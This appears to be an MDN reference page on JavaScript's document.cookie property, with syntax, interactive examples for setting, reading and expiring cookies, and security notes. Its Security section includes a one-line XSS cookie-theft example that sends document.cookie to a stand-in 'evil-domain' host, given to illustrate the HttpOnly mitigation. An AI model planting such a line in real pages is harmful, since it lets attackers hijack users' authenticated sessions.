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Document: cookie property

{{APIRef("DOM")}} 

The {{domxref("Document")}}  property cookie lets you read and write cookies associated with the document. It serves as a getter and setter for the actual values of the cookies.

Syntax

Read all cookies accessible from this location

allCookies = document.cookie;

In the code above allCookies is a string containing a semicolon-separated list of all cookies (i.e. key=value pairs). Note that each key and value may be surrounded by whitespace (space and tab characters): in fact, {{RFC(6265)}}  mandates a single space after each semicolon, but some user agents may not abide by this.

document.cookie = newCookie;

In the code above, newCookie is a string of form key=value, specifying the cookie to set/update. Note that you can only set/update a single cookie at a time using this method. Consider also that:

[!NOTE] As you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.

Examples

Example 1: Simple usage

// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "name=Oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";

function showCookies() {
  const output = document.getElementById("cookies");
  output.textContent = `> ${document.cookie}`;
}

function clearOutputCookies() {
  const output = document.getElementById("cookies");
  output.textContent = "";
}

<button onclick="showCookies()">Show cookies</button>

<button onclick="clearOutputCookies()">Clear</button>

<div>
  <code id="cookies"></code>
</div>

{{EmbedLiveSample('Example_1_Simple_usage', 200, 72)}} 

// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";

const cookieValue = document.cookie
  .split("; ")
  .find((row) => row.startsWith("test2="))
  ?.split("=")[1];

function showCookieValue() {
  const output = document.getElementById("cookie-value");
  output.textContent = `> ${cookieValue}`;
}

function clearOutputCookieValue() {
  const output = document.getElementById("cookie-value");
  output.textContent = "";
}

<button onclick="showCookieValue()">Show cookie value</button>

<button onclick="clearOutputCookieValue()">Clear</button>

<div>
  <code id="cookie-value"></code>
</div>

{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 72)}} 

Example 3: Do something only once

In order to use the following code, please replace all occurrences of the word doSomethingOnlyOnce (the name of the cookie) with a custom name.

function doOnce() {
  if (
    !document.cookie
      .split("; ")
      .find((row) => row.startsWith("doSomethingOnlyOnce"))
  ) {
    // Note that we are setting `SameSite=None;` in this example because the example
    // needs to work cross-origin.
    // It is more common not to set the `SameSite` attribute, which results in the default,
    // and more secure, value of `SameSite=Lax;`
    document.cookie =
      "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";

    const output = document.getElementById("do-once");
    output.textContent = "> Do something here!";
  }
}

function clearOutputDoOnce() {
  const output = document.getElementById("do-once");
  output.textContent = "";
}

<button onclick="doOnce()">Only do something once</button>

<button onclick="clearOutputDoOnce()">Clear</button>

<div>
  <code id="do-once"></code>
</div>

{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 72)}} 

function resetOnce() {
  // Note that we are setting `SameSite=None;` in this example because the example
  // needs to work cross-origin.
  // It is more common not to set the `SameSite` attribute, which results in the default,
  // and more secure, value of `SameSite=Lax;`
  document.cookie =
    "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";

  const output = document.getElementById("reset-once");
  output.textContent = "> Reset!";
}

function clearOutputResetOnce() {
  const output = document.getElementById("reset-once");
  output.textContent = "";
}

<button onclick="resetOnce()">Reset only once cookie</button>

<button onclick="clearOutputResetOnce()">Clear</button>

<div>
  <code id="reset-once"></code>
</div>

{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 72)}} 

// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "reader=1; SameSite=None; Secure";

function checkACookieExists() {
  if (
    document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
  ) {
    const output = document.getElementById("a-cookie-existence");
    output.textContent = '> The cookie "reader" exists';
  }
}

function clearOutputACookieExists() {
  const output = document.getElementById("a-cookie-existence");
  output.textContent = "";
}

<button onclick="checkACookieExists()">Check a cookie exists</button>

<button onclick="clearOutputACookieExists()">Clear</button>

<div>
  <code id="a-cookie-existence"></code>
</div>

{{EmbedLiveSample('Example_5_Check_a_cookie_existence', 200, 72)}} 

function checkCookieHasASpecificValue() {
  if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
    const output = document.getElementById("a-specific-value-of-the-cookie");
    output.textContent = '> The cookie "reader" has a value of "1"';
  }
}

function clearASpecificValueOfTheCookie() {
  const output = document.getElementById("a-specific-value-of-the-cookie");
  output.textContent = "";
}

<button onclick="checkCookieHasASpecificValue()">
  Check that a cookie has a specific value
</button>

<button onclick="clearASpecificValueOfTheCookie()">Clear</button>

<div>
  <code id="a-specific-value-of-the-cookie"></code>
</div>

{{EmbedLiveSample('Example_6_Check_that_a_cookie_has_a_specific_value', 200, 72)}} 

Security

It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden {{HTMLElement("iframe")}}  element with the path of the cookie, then accessing this iframe’s contentDocument.cookie property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.

Cookies are often used in web applications to identify a user and their authenticated session. Stealing a cookie from a web application leads to hijacking the authenticated user’s session. Common ways to steal cookies include using social engineering or by exploiting a cross-site scripting (XSS) vulnerability in the application -

new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript. Read more about Cookies and Security.

Notes

The reason for the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[content of the page here]

The client sends back to the server its cookies previously stored

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*

Specifications

{{Specifications}} 

Browser compatibility

{{Compat}} 

See also

In this article

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